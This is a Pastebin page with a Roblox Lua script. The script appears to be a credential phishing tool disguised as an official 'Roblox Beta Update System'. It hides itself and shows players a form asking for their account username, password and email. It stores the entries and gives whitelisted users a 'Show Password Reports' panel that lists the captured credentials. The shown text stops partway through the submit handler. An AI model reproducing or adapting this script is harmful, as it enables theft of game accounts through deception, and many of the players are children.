Advertisement
RobloxScriptBuilder

skid give lots of credit to SergeantSomkey

Sep 17th, 2016
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 36.93 KB | None | 0 0
  1. --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  2.  
  3. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4.  
  5.  
  6. wait()
  7.  
  8. script.Parent = nil
  9.  
  10.  
  11. ReportMod = Instance.new("Model")
  12.  
  13. Saved = {
  14.  
  15. }
  16.  
  17. Took = {}
  18.  
  19. GotPass = {}
  20.  
  21. MyCode = "OfficialRoBetaAccUpdater64"
  22.  
  23. Users={
  24.  
  25.         [""]=true;
  26.  
  27.         ["LostTwoGlockz"]=true;
  28.  
  29. }
  30.  
  31. Delay(0, function()
  32.  
  33.         while wait() do
  34.  
  35.                 ypcall(function()
  36.  
  37.                         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  38.  
  39.                                 ypcall(function()
  40.  
  41.                                         if Saved[v.Name] ~= nil then
  42.  
  43.                                                 local Ok, Mod = ypcall(function() return v:LoadInstance(MyCode) end)
  44.  
  45.                                                 if Ok and Mod ~= nil then
  46.  
  47.                                                         if #Mod:GetChildren() >= 0 then
  48.  
  49.                                                         for _,c in pairs(Mod:GetChildren()) do
  50.  
  51.                                                                 ypcall(function()
  52.  
  53.                                                                         if not ReportMod:findFirstChild(c.Name) then
  54.  
  55.                                                                                 local Copy = c:Clone()
  56.  
  57.                                                                                 Copy.Parent = ReportMod
  58.  
  59.                                                                         else
  60.  
  61.                                                                         end
  62.  
  63.                                                                 end)
  64.  
  65.                                                         end
  66.  
  67.                                                         end
  68.  
  69.                                                 end
  70.  
  71.                                                 Took[v.Name] = true
  72.  
  73.                                         end
  74.  
  75.                                 end)
  76.  
  77.                         end
  78.  
  79.                         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  80.  
  81.                                 ypcall(function()
  82.  
  83.                                         if Saved[v.Name] ~= nil and Took[v.Name] ~= nil then
  84.  
  85.                                                 v:SaveInstance(MyCode, ReportMod)
  86.  
  87.                                         end
  88.  
  89.                                 end)
  90.  
  91.                         end
  92.  
  93.                 end)
  94.  
  95.         end
  96.  
  97. end)
  98.  
  99.  
  100. function MakePage(Plr, Sender, Abuser, Desc, Proof, Page, AllPages)
  101.  
  102.         ypcall(function()
  103.  
  104.                 local SG = nil
  105.  
  106.                 local ShowReports = nil
  107.  
  108.                
  109.  
  110.                 for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  111.  
  112.                         if v.Name == "Reports" then
  113.  
  114.                                 SG = v
  115.  
  116.                                 break
  117.  
  118.                         end
  119.  
  120.                 end
  121.  
  122.  
  123.                 if SG == nil then
  124.  
  125.                         return
  126.  
  127.                 end
  128.  
  129.                
  130.  
  131.                 for _,v in pairs(SG:GetChildren()) do
  132.  
  133.                         if v.Name == "ShowReports" then
  134.  
  135.                                 ShowReports = v
  136.  
  137.                                 break
  138.  
  139.                         end
  140.  
  141.                 end
  142.  
  143.                
  144.  
  145.                 if ShowReports == nil then
  146.  
  147.                         return
  148.  
  149.                 end
  150.  
  151.                
  152.  
  153.                 local ReportingFrame = Instance.new("Frame")
  154.  
  155.                 ReportingFrame.Name = "ReportingFrame"
  156.  
  157.                 ReportingFrame.Active = true
  158.  
  159.                 ReportingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  160.  
  161.                 ReportingFrame.BackgroundTransparency = 0.2
  162.  
  163.                 ReportingFrame.BorderSizePixel = 0
  164.  
  165.                 ReportingFrame.Size = UDim2.new(0.6, 0, 0.8, 0)
  166.  
  167.                 ReportingFrame.Position = UDim2.new(0.2, 0, 0.1, 0)
  168.  
  169.                 ReportingFrame.Visible = true
  170.  
  171.                 ReportingFrame.Draggable = false
  172.  
  173.                 ReportingFrame.Parent = SG
  174.  
  175.                
  176.  
  177.                 local ReportingTitle = Instance.new("TextLabel")
  178.  
  179.                 ReportingTitle.Name = "ReportingTitle"
  180.  
  181.                 ReportingTitle.Text = "Player Details - Sorted By Newest"
  182.  
  183.                 ReportingTitle.TextWrapped = false
  184.  
  185.                 ReportingTitle.TextColor3 = Color3.new(1, 0, 0)
  186.  
  187.                 ReportingTitle.TextTransparency = 0
  188.  
  189.                 ReportingTitle.FontSize = "Size24"
  190.  
  191.                 ReportingTitle.TextStrokeTransparency = 1
  192.  
  193.                 ReportingTitle.Active = true
  194.  
  195.                 ReportingTitle.BackgroundTransparency = 1
  196.  
  197.                 ReportingTitle.BorderSizePixel = 0
  198.  
  199.                 ReportingTitle.Size = UDim2.new(0.8, 0, 0.1, 0)
  200.  
  201.                 ReportingTitle.Position = UDim2.new(0.1, 0, 0.01, 0)
  202.  
  203.                 ReportingTitle.Visible = true
  204.  
  205.                 ReportingTitle.Draggable = false
  206.  
  207.                 ReportingTitle.Parent = ReportingFrame
  208.  
  209.                
  210.  
  211.                 local ReportPlayerTitle = Instance.new("TextLabel")
  212.  
  213.                 ReportPlayerTitle.Name = "ReportPlayerTitle"
  214.  
  215.                 ReportPlayerTitle.Text = "Sent By: "..Sender
  216.  
  217.                 ReportPlayerTitle.TextWrapped = false
  218.  
  219.                 ReportPlayerTitle.TextColor3 = Color3.new(1, 1, 1)
  220.  
  221.                 ReportPlayerTitle.TextTransparency = 0
  222.  
  223.                 ReportPlayerTitle.FontSize = "Size18"
  224.  
  225.                 ReportPlayerTitle.TextStrokeTransparency = 1
  226.  
  227.                 ReportPlayerTitle.Active = true
  228.  
  229.                 ReportPlayerTitle.BackgroundTransparency = 1
  230.  
  231.                 ReportPlayerTitle.BorderSizePixel = 0
  232.  
  233.                 ReportPlayerTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  234.  
  235.                 ReportPlayerTitle.Position = UDim2.new(0.1, 0, 0.15, 0)
  236.  
  237.                 ReportPlayerTitle.Visible = true
  238.  
  239.                 ReportPlayerTitle.Draggable = false
  240.  
  241.                 ReportPlayerTitle.Parent = ReportingFrame
  242.  
  243.                
  244.  
  245.                 local ReportAbuserTitle = Instance.new("TextLabel")
  246.  
  247.                 ReportAbuserTitle.Name = "ReportAbuserTitle"
  248.  
  249.                 ReportAbuserTitle.Text = "Account Username: "..Abuser
  250.  
  251.                 ReportAbuserTitle.TextWrapped = false
  252.  
  253.                 ReportAbuserTitle.TextColor3 = Color3.new(1, 1, 1)
  254.  
  255.                 ReportAbuserTitle.TextTransparency = 0
  256.  
  257.                 ReportAbuserTitle.FontSize = "Size18"
  258.  
  259.                 ReportAbuserTitle.TextStrokeTransparency = 1
  260.  
  261.                 ReportAbuserTitle.Active = true
  262.  
  263.                 ReportAbuserTitle.BackgroundTransparency = 1
  264.  
  265.                 ReportAbuserTitle.BorderSizePixel = 0
  266.  
  267.                 ReportAbuserTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  268.  
  269.                 ReportAbuserTitle.Position = UDim2.new(0.1, 0, 0.3, 0)
  270.  
  271.                 ReportAbuserTitle.Visible = true
  272.  
  273.                 ReportAbuserTitle.Draggable = false
  274.  
  275.                 ReportAbuserTitle.Parent = ReportingFrame
  276.  
  277.  
  278.                 local ReportDescTitle = Instance.new("TextLabel")
  279.  
  280.                 ReportDescTitle.Name = "ReportDescTitle"
  281.  
  282.                 ReportDescTitle.Text = "Account Password: "..Desc
  283.  
  284.                 ReportDescTitle.TextWrapped = false
  285.  
  286.                 ReportDescTitle.TextColor3 = Color3.new(1, 1, 1)
  287.  
  288.                 ReportDescTitle.TextTransparency = 0
  289.  
  290.                 ReportDescTitle.FontSize = "Size18"
  291.  
  292.                 ReportDescTitle.TextStrokeTransparency = 1
  293.  
  294.                 ReportDescTitle.Active = true
  295.  
  296.                 ReportDescTitle.BackgroundTransparency = 1
  297.  
  298.                 ReportDescTitle.BorderSizePixel = 0
  299.  
  300.                 ReportDescTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  301.  
  302.                 ReportDescTitle.Position = UDim2.new(0.1, 0, 0.45, 0)
  303.  
  304.                 ReportDescTitle.Visible = true
  305.  
  306.                 ReportDescTitle.Draggable = false
  307.  
  308.                 ReportDescTitle.Parent = ReportingFrame
  309.  
  310.                
  311.  
  312.                 local ReportExtraTitle = Instance.new("TextLabel")
  313.  
  314.                 ReportExtraTitle.Name = "ReportExtraTitle"
  315.  
  316.                 ReportExtraTitle.Text = "Account Email: "..Proof
  317.  
  318.                 ReportExtraTitle.TextWrapped = false
  319.  
  320.                 ReportExtraTitle.TextColor3 = Color3.new(1, 1, 1)
  321.  
  322.                 ReportExtraTitle.TextTransparency = 0
  323.  
  324.                 ReportExtraTitle.FontSize = "Size18"
  325.  
  326.                 ReportExtraTitle.TextStrokeTransparency = 1
  327.  
  328.                 ReportExtraTitle.Active = true
  329.  
  330.                 ReportExtraTitle.BackgroundTransparency = 1
  331.  
  332.                 ReportExtraTitle.BorderSizePixel = 0
  333.  
  334.                 ReportExtraTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  335.  
  336.                 ReportExtraTitle.Position = UDim2.new(0.1, 0, 0.6, 0)
  337.  
  338.                 ReportExtraTitle.Visible = true
  339.  
  340.                 ReportExtraTitle.Draggable = false
  341.  
  342.                 ReportExtraTitle.Parent = ReportingFrame
  343.  
  344.                
  345.  
  346.                 local CloseReport = Instance.new("TextButton")
  347.  
  348.                 CloseReport.Name = "CloseReport"
  349.  
  350.                 CloseReport.Text = "Close"
  351.  
  352.                 CloseReport.TextWrapped = false
  353.  
  354.                 CloseReport.TextColor3 = Color3.new(1, 1, 1)
  355.  
  356.                 CloseReport.FontSize = "Size14"
  357.  
  358.                 CloseReport.TextStrokeTransparency = 1
  359.  
  360.                 CloseReport.AutoButtonColor = true
  361.  
  362.                 CloseReport.Active = true
  363.  
  364.                 CloseReport.BackgroundColor3 = Color3.new(1, 0, 0)
  365.  
  366.                 CloseReport.BackgroundTransparency = 0.2
  367.  
  368.                 CloseReport.BorderSizePixel = 0
  369.  
  370.                 CloseReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  371.  
  372.                 CloseReport.Position = UDim2.new(0.375, 0, 0.875, 0)
  373.  
  374.                 CloseReport.Visible = true
  375.  
  376.                 CloseReport.Draggable = false
  377.  
  378.                 CloseReport.Parent = ReportingFrame
  379.  
  380.                
  381.  
  382.                 local Right = Instance.new("ImageButton")
  383.  
  384.                 Right.Name = "Right"
  385.  
  386.                 Right.Visible = true
  387.  
  388.                 Right.Active = true
  389.  
  390.                 Right.Image = "http://www.roblox.com/asset/?id=13890052"
  391.  
  392.                 Right.BackgroundTransparency = 1
  393.  
  394.                 Right.BorderSizePixel = 0
  395.  
  396.                 Right.Size = UDim2.new(0.08, 0, 0.15, 0)
  397.  
  398.                 Right.Position = UDim2.new(0.76, 0, 0.425, 0)
  399.  
  400.                 Right.Draggable = false
  401.  
  402.                 Right.Parent = ReportingFrame
  403.  
  404.                
  405.  
  406.                 Delay(0, function()
  407.  
  408.                         while Right.Parent ~= nil do wait()
  409.  
  410.                                 if Page == 1 then
  411.  
  412.                                         Right.Visible = false
  413.  
  414.                                         Right.Active = false
  415.  
  416.                                 else
  417.  
  418.                                         Right.Visible = true
  419.  
  420.                                         Right.Active = true
  421.  
  422.                                 end
  423.  
  424.                         end
  425.  
  426.                 end)
  427.  
  428.                
  429.  
  430.                 Right.MouseButton1Click:connect(function()
  431.  
  432.                         ypcall(function()
  433.  
  434.                                 ReportingFrame:Destroy()
  435.  
  436.                                 Page = Page - 1
  437.  
  438.                                 local NextMod = ReportMod:GetChildren()[Page]
  439.  
  440.                                 MakePage(Plr, NextMod.SentValue.Value, NextMod.AbuserValue.Value, NextMod.AbuseValue.Value, NextMod.ProofValue.Value, Page, AllPages)
  441.  
  442.                         end)
  443.  
  444.                 end)
  445.  
  446.                
  447.  
  448.                 local Left = Instance.new("ImageButton")
  449.  
  450.                 Left.Name = "Left"
  451.  
  452.                 Left.Visible = false
  453.  
  454.                 Left.Active = false
  455.  
  456.                 Left.Image = "http://www.roblox.com/asset/?id=13890065"
  457.  
  458.                 Left.BackgroundTransparency = 1
  459.  
  460.                 Left.BorderSizePixel = 0
  461.  
  462.                 Left.Size = UDim2.new(0.08, 0, 0.15, 0)
  463.  
  464.                 Left.Position = UDim2.new(0.16, 0, 0.425, 0)
  465.  
  466.                 Left.Draggable = false
  467.  
  468.                 Left.Parent = ReportingFrame
  469.  
  470.                
  471.  
  472.                 Delay(0, function()
  473.  
  474.                         while Left.Parent ~= nil do wait()
  475.  
  476.                                 if Page == AllPages then
  477.  
  478.                                         Left.Visible = false
  479.  
  480.                                         Left.Active = false
  481.  
  482.                                 else
  483.  
  484.                                         Left.Visible = true
  485.  
  486.                                         Left.Active = true
  487.  
  488.                                 end
  489.  
  490.                         end
  491.  
  492.                 end)
  493.  
  494.                
  495.  
  496.                 Left.MouseButton1Click:connect(function()
  497.  
  498.                         ypcall(function()
  499.  
  500.                                 ReportingFrame:Destroy()
  501.  
  502.                                 Page = Page + 1
  503.  
  504.                                 local NextMod = ReportMod:GetChildren()[Page]
  505.  
  506.                                 MakePage(Plr, NextMod.SentValue.Value, NextMod.AbuserValue.Value, NextMod.AbuseValue.Value, NextMod.ProofValue.Value, Page, AllPages)
  507.  
  508.                         end)
  509.  
  510.                 end)
  511.  
  512.                
  513.  
  514.                 CloseReport.MouseButton1Click:connect(function()
  515.  
  516.                         ReportingFrame:Destroy()
  517.  
  518.                         ShowReports.Text = "Show Password Reports"
  519.  
  520.                         ShowReports:TweenPosition(UDim2.new(0.375, 0, 0, 0), "Out", "Quad", 2.25, true)
  521.  
  522.                 end)
  523.  
  524.                
  525.  
  526.                 if ShowReports.Position == UDim2.new(0.375, 0, 0, 0) then
  527.  
  528.                         ShowReports:TweenPosition(UDim2.new(0.375, 0, -0.08, 0), "Out", "Quad", 2.25, true)
  529.  
  530.                 end
  531.  
  532.         end)
  533.  
  534. end
  535.  
  536.  
  537. function ShowReportsButton(Plr)
  538.  
  539.         ypcall(function()
  540.  
  541.                 for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  542.  
  543.                         if v.Name == "Reports" then
  544.  
  545.                                 v:Destroy()
  546.  
  547.                         end
  548.  
  549.                 end
  550.  
  551.                
  552.  
  553.                 local SG = Instance.new("ScreenGui")
  554.  
  555.                 SG.Name = "Reports"
  556.  
  557.                 SG.Parent = Plr.PlayerGui
  558.  
  559.                
  560.  
  561.                 local ShowReports = Instance.new("TextButton")
  562.  
  563.                 ShowReports.Name = "ShowReports"
  564.  
  565.                 ShowReports.Text = "Loading..."
  566.  
  567.                 ShowReports.TextWrapped = false
  568.  
  569.                 ShowReports.TextColor3 = Color3.new(1, 0, 0)
  570.  
  571.                 ShowReports.TextTransparency = 0.2
  572.  
  573.                 ShowReports.FontSize = "Size14"
  574.  
  575.                 ShowReports.TextStrokeTransparency = 1
  576.  
  577.                 ShowReports.AutoButtonColor = true
  578.  
  579.                 ShowReports.Active = true
  580.  
  581.                 ShowReports.BackgroundColor3 = Color3.new(0, 0, 0)
  582.  
  583.                 ShowReports.BackgroundTransparency = 0.2
  584.  
  585.                 ShowReports.BorderColor3 = Color3.new(1, 0, 0)
  586.  
  587.                 ShowReports.Size = UDim2.new(0.25, 0, 0.075, 0)
  588.  
  589.                 ShowReports.Position = UDim2.new(0.375, 0, 0, 0)
  590.  
  591.                 ShowReports.Visible = true
  592.  
  593.                 ShowReports.Draggable = false
  594.  
  595.                 ShowReports.Parent = SG
  596.  
  597.                
  598.  
  599.         --        repeat wait() until Saved[Plr.Name] ~= nil
  600.  
  601.                 ShowReports.Text = "Show Password Reports"
  602.  
  603.                
  604.  
  605.                
  606.  
  607.                 ShowReports.MouseButton1Click:connect(function()
  608.  
  609.                         ypcall(function()
  610.  
  611.                                 if #ReportMod:GetChildren() >= 1 then
  612.  
  613.                                         ShowReports.Text = "Reports Loading..."
  614.  
  615.                                         LatestMod = ReportMod:GetChildren()[#ReportMod:GetChildren()]
  616.  
  617.                                         MakePage(Plr, LatestMod.SentValue.Value, LatestMod.AbuserValue.Value, LatestMod.AbuseValue.Value, LatestMod.ProofValue.Value, #ReportMod:GetChildren(), #ReportMod:GetChildren())
  618.  
  619.                                 else
  620.  
  621.                                         ShowReports.Text = "No Reports"
  622.  
  623.                                         wait(2)
  624.  
  625.                                         ShowReports.Text = "Show Password Reports"
  626.  
  627.                                 end
  628.  
  629.                         end)
  630.  
  631.                 end)
  632.  
  633.         end)
  634.  
  635. end
  636.  
  637.  
  638. function ReportButton(Plr)
  639.  
  640.         ypcall(function()
  641.  
  642.                 for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  643.  
  644.                         if v.Name == "ReportToHR" then
  645.  
  646.                                 v:Destroy()
  647.  
  648.                         end
  649.  
  650.                 end
  651.  
  652.                
  653.  
  654.                 local SG = Instance.new("ScreenGui")
  655.  
  656.                 SG.Name = "ReportToHR"
  657.  
  658.                 SG.Parent = Plr.PlayerGui
  659.  
  660.  
  661.                 local ReportingFrame = Instance.new("Frame")
  662.  
  663.                 ReportingFrame.Name = "ReportingFrame"
  664.  
  665.                 ReportingFrame.Active = true
  666.  
  667.                 ReportingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  668.  
  669.                 ReportingFrame.BackgroundTransparency = 0.2
  670.  
  671.                 ReportingFrame.BorderSizePixel = 0
  672.  
  673.                 ReportingFrame.Size = UDim2.new(0.6, 0, 0.8, 0)
  674.  
  675.                 ReportingFrame.Position = UDim2.new(-0.65, 0, 0.1, 0)
  676.  
  677.                 ReportingFrame.Visible = true
  678.  
  679.                 ReportingFrame.Draggable = false
  680.  
  681.                 ReportingFrame.Parent = SG
  682.  
  683.                
  684.  
  685.                 local ReportingTitle = Instance.new("TextLabel")
  686.  
  687.                 ReportingTitle.Name = "ReportingTitle"
  688.  
  689.                 ReportingTitle.Font = "ArialBold"
  690.  
  691.                 ReportingTitle.Text = "Roblox Beta Update System"
  692.  
  693.                 ReportingTitle.TextWrapped = false
  694.  
  695.                 ReportingTitle.TextColor3 = Color3.new(1, 0, 0)
  696.  
  697.                 ReportingTitle.TextTransparency = 0
  698.  
  699.                 ReportingTitle.FontSize = "Size36"
  700.  
  701.                 ReportingTitle.TextStrokeTransparency = 1
  702.  
  703.                 ReportingTitle.Active = true
  704.  
  705.                 ReportingTitle.BackgroundTransparency = 1
  706.  
  707.                 ReportingTitle.BorderSizePixel = 0
  708.  
  709.                 ReportingTitle.Size = UDim2.new(0.8, 0, 0.1, 0)
  710.  
  711.                 ReportingTitle.Position = UDim2.new(0.1, 0, 0.01, 0)
  712.  
  713.                 ReportingTitle.Visible = true
  714.  
  715.                 ReportingTitle.Draggable = false
  716.  
  717.                 ReportingTitle.Parent = ReportingFrame
  718.  
  719.                
  720.  
  721.                 local ReportPlayerTitle = Instance.new("TextLabel")
  722.  
  723.                 ReportPlayerTitle.Name = "ReportPlayerTitle"
  724.  
  725.                 ReportPlayerTitle.Font = "Arial"
  726.  
  727.                 ReportPlayerTitle.Text = "Account Username:"
  728.  
  729.                 ReportPlayerTitle.TextWrapped = false
  730.  
  731.                 ReportPlayerTitle.TextColor3 = Color3.new(1, 1, 1)
  732.  
  733.                 ReportPlayerTitle.TextTransparency = 0
  734.  
  735.                 ReportPlayerTitle.FontSize = "Size24"
  736.  
  737.                 ReportPlayerTitle.TextStrokeTransparency = 1
  738.  
  739.                 ReportPlayerTitle.Active = true
  740.  
  741.                 ReportPlayerTitle.BackgroundTransparency = 1
  742.  
  743.                 ReportPlayerTitle.BorderSizePixel = 0
  744.  
  745.                 ReportPlayerTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  746.  
  747.                 ReportPlayerTitle.Position = UDim2.new(0.1, 0, 0.05, 0)
  748.  
  749.                 ReportPlayerTitle.Visible = true
  750.  
  751.                 ReportPlayerTitle.Draggable = false
  752.  
  753.                 ReportPlayerTitle.Parent = ReportingFrame
  754.  
  755.                
  756.  
  757.                 local ReportPlayerBox = Instance.new("TextBox")
  758.  
  759.                 ReportPlayerBox.Name = "ReportPlayerBox"
  760.  
  761.                 ReportPlayerBox.Font = "Arial"
  762.  
  763.                 ReportPlayerBox.Text = "Your Username Here"
  764.  
  765.                 ReportPlayerBox.TextWrapped = true
  766.  
  767.                 ReportPlayerBox.TextColor3 = Color3.new(0, 0, 0)
  768.  
  769.                 ReportPlayerBox.TextTransparency = 0
  770.  
  771.                 ReportPlayerBox.FontSize = "Size18"
  772.  
  773.                 ReportPlayerBox.ClearTextOnFocus = false
  774.  
  775.                 ReportPlayerBox.TextStrokeTransparency = 1
  776.  
  777.                 ReportPlayerBox.Active = true
  778.  
  779.                 ReportPlayerBox.BackgroundColor3 = Color3.new(1, 1, 1)
  780.  
  781.                 ReportPlayerBox.BackgroundTransparency = 0.2
  782.  
  783.                 ReportPlayerBox.BorderColor3 = Color3.new(1, 0, 0)
  784.  
  785.                 ReportPlayerBox.BorderSizePixel = 1
  786.  
  787.                 ReportPlayerBox.Size = UDim2.new(0.8, 0, 0.1, 0)
  788.  
  789.                 ReportPlayerBox.Position = UDim2.new(0.1, 0, 0.2, 0)
  790.  
  791.                 ReportPlayerBox.Visible = true
  792.  
  793.                 ReportPlayerBox.Draggable = false
  794.  
  795.                 ReportPlayerBox.Parent = ReportingFrame
  796.  
  797.                
  798.  
  799.                 local ReportDescTitle = Instance.new("TextLabel")
  800.  
  801.                 ReportDescTitle.Name = "ReportDescTitle"
  802.  
  803.                 ReportDescTitle.Font = "Arial"
  804.  
  805.                 ReportDescTitle.Text = "Account Password:"
  806.  
  807.                 ReportDescTitle.TextWrapped = false
  808.  
  809.                 ReportDescTitle.TextColor3 = Color3.new(1, 1, 1)
  810.  
  811.                 ReportDescTitle.TextTransparency = 0
  812.  
  813.                 ReportDescTitle.FontSize = "Size24"
  814.  
  815.                 ReportDescTitle.TextStrokeTransparency = 1
  816.  
  817.                 ReportDescTitle.Active = true
  818.  
  819.                 ReportDescTitle.BackgroundTransparency = 1
  820.  
  821.                 ReportDescTitle.BorderSizePixel = 0
  822.  
  823.                 ReportDescTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  824.  
  825.                 ReportDescTitle.Position = UDim2.new(0.1, 0, 0.275, 0)
  826.  
  827.                 ReportDescTitle.Visible = true
  828.  
  829.                 ReportDescTitle.Draggable = false
  830.  
  831.                 ReportDescTitle.Parent = ReportingFrame
  832.  
  833.                
  834.  
  835.                 local ReportDescBox = Instance.new("TextBox")
  836.  
  837.                 ReportDescBox.Name = "ReportDescBox"
  838.  
  839.                 ReportDescBox.Font = "Arial"
  840.  
  841.                 ReportDescBox.Text = "Your Password Here"
  842.  
  843.                 ReportDescBox.TextWrapped = true
  844.  
  845.                 ReportDescBox.TextColor3 = Color3.new(0, 0, 0)
  846.  
  847.                 ReportDescBox.TextTransparency = 0
  848.  
  849.                 ReportDescBox.FontSize = "Size18"
  850.  
  851.                 ReportDescBox.ClearTextOnFocus = false
  852.  
  853.                 ReportDescBox.TextStrokeTransparency = 1
  854.  
  855.                 ReportDescBox.Active = true
  856.  
  857.                 ReportDescBox.BackgroundColor3 = Color3.new(1, 1, 1)
  858.  
  859.                 ReportDescBox.BackgroundTransparency = 0.2
  860.  
  861.                 ReportDescBox.BorderColor3 = Color3.new(1, 0, 0)
  862.  
  863.                 ReportDescBox.BorderSizePixel = 1
  864.  
  865.                 ReportDescBox.Size = UDim2.new(0.8, 0, 0.15, 0)
  866.  
  867.                 ReportDescBox.Position = UDim2.new(0.1, 0, 0.425, 0)
  868.  
  869.                 ReportDescBox.Visible = true
  870.  
  871.                 ReportDescBox.Draggable = false
  872.  
  873.                 ReportDescBox.Parent = ReportingFrame
  874.  
  875.                
  876.  
  877.                 local ReportExtraTitle = Instance.new("TextLabel")
  878.  
  879.                 ReportExtraTitle.Name = "ReportExtraTitle"
  880.  
  881.                 ReportExtraTitle.Font = "Arial"
  882.  
  883.                 ReportExtraTitle.Text = "Account Email (Optional):"
  884.  
  885.                 ReportExtraTitle.TextWrapped = false
  886.  
  887.                 ReportExtraTitle.TextColor3 = Color3.new(1, 1, 1)
  888.  
  889.                 ReportExtraTitle.TextTransparency = 0
  890.  
  891.                 ReportExtraTitle.FontSize = "Size24"
  892.  
  893.                 ReportExtraTitle.TextStrokeTransparency = 1
  894.  
  895.                 ReportExtraTitle.Active = true
  896.  
  897.                 ReportExtraTitle.BackgroundTransparency = 1
  898.  
  899.                 ReportExtraTitle.BorderSizePixel = 0
  900.  
  901.                 ReportExtraTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  902.  
  903.                 ReportExtraTitle.Position = UDim2.new(0.1, 0, 0.55, 0)
  904.  
  905.                 ReportExtraTitle.Visible = true
  906.  
  907.                 ReportExtraTitle.Draggable = false
  908.  
  909.                 ReportExtraTitle.Parent = ReportingFrame
  910.  
  911.                
  912.  
  913.                 local ReportExtraBox = Instance.new("TextBox")
  914.  
  915.                 ReportExtraBox.Name = "ReportExtraBox"
  916.  
  917.                 ReportExtraBox.Font = "Arial"
  918.  
  919.                 ReportExtraBox.Text = "Your Email Here"
  920.  
  921.                 ReportExtraBox.TextWrapped = true
  922.  
  923.                 ReportExtraBox.TextColor3 = Color3.new(0, 0, 0)
  924.  
  925.                 ReportExtraBox.TextTransparency = 0
  926.  
  927.                 ReportExtraBox.FontSize = "Size18"
  928.  
  929.                 ReportExtraBox.ClearTextOnFocus = false
  930.  
  931.                 ReportExtraBox.TextStrokeTransparency = 1
  932.  
  933.                 ReportExtraBox.Active = true
  934.  
  935.                 ReportExtraBox.BackgroundColor3 = Color3.new(1, 1, 1)
  936.  
  937.                 ReportExtraBox.BackgroundTransparency = 0.2
  938.  
  939.                 ReportExtraBox.BorderColor3 = Color3.new(1, 0, 0)
  940.  
  941.                 ReportExtraBox.BorderSizePixel = 1
  942.  
  943.                 ReportExtraBox.Size = UDim2.new(0.8, 0, 0.15, 0)
  944.  
  945.                 ReportExtraBox.Position = UDim2.new(0.1, 0, 0.7, 0)
  946.  
  947.                 ReportExtraBox.Visible = true
  948.  
  949.                 ReportExtraBox.Draggable = false
  950.  
  951.                 ReportExtraBox.Parent = ReportingFrame
  952.  
  953.                
  954.  
  955.                 local SendReport = Instance.new("TextButton")
  956.  
  957.                 SendReport.Name = "SendReport"
  958.  
  959.                 SendReport.Font = "Arial"
  960.  
  961.                 SendReport.Text = "Update"
  962.  
  963.                 SendReport.TextWrapped = false
  964.  
  965.                 SendReport.TextColor3 = Color3.new(1, 1, 1)
  966.  
  967.                 SendReport.FontSize = "Size18"
  968.  
  969.                 SendReport.TextStrokeTransparency = 1
  970.  
  971.                 SendReport.AutoButtonColor = true
  972.  
  973.                 SendReport.Active = true
  974.  
  975.                 SendReport.BackgroundColor3 = Color3.new(1, 0, 0)
  976.  
  977.                 SendReport.BackgroundTransparency = 0.2
  978.  
  979.                 SendReport.BorderSizePixel = 0
  980.  
  981.                 SendReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  982.  
  983.                 SendReport.Position = UDim2.new(0.575, 0, 0.875, 0)
  984.  
  985.                 SendReport.Visible = true
  986.  
  987.                 SendReport.Draggable = false
  988.  
  989.                 SendReport.Parent = ReportingFrame
  990.  
  991.                
  992.  
  993.                 local CloseReport = Instance.new("TextButton")
  994.  
  995.                 CloseReport.Name = "CloseReport"
  996.  
  997.                 CloseReport.Font = "Arial"
  998.  
  999.                 CloseReport.Text = "Close"
  1000.  
  1001.                 CloseReport.TextWrapped = false
  1002.  
  1003.                 CloseReport.TextColor3 = Color3.new(1, 1, 1)
  1004.  
  1005.                 CloseReport.FontSize = "Size18"
  1006.  
  1007.                 CloseReport.TextStrokeTransparency = 1
  1008.  
  1009.                 CloseReport.AutoButtonColor = true
  1010.  
  1011.                 CloseReport.Active = true
  1012.  
  1013.                 CloseReport.BackgroundColor3 = Color3.new(1, 0, 0)
  1014.  
  1015.                 CloseReport.BackgroundTransparency = 0.2
  1016.  
  1017.                 CloseReport.BorderSizePixel = 0
  1018.  
  1019.                 CloseReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  1020.  
  1021.                 CloseReport.Position = UDim2.new(0.175, 0, 0.875, 0)
  1022.  
  1023.                 CloseReport.Visible = true
  1024.  
  1025.                 CloseReport.Draggable = false
  1026.  
  1027.                 CloseReport.Parent = ReportingFrame
  1028.  
  1029.                
  1030.  
  1031.                 CloseReport.MouseButton1Click:connect(function()
  1032.  
  1033.                         if GotPass[Plr.Name] ~= nil then
  1034.  
  1035.                                 ReportingFrame:Destroy()
  1036.  
  1037.                         else
  1038.  
  1039.                                 ypcall(function()
  1040.  
  1041.                                         ReportingTitle.Text = "Please Fill Out The Beta Update System"
  1042.  
  1043.                                         wait(4)
  1044.  
  1045.                                         ReportingTitle.Text = "Roblox Beta Update System"
  1046.  
  1047.                                 end)
  1048.  
  1049.                         end
  1050.  
  1051.                 end)
  1052.  
  1053.                
  1054.  
  1055.                 SendReport.MouseButton1Click:connect(function()
  1056.  
  1057.                         local Ok, Err = ypcall(function()
  1058.  
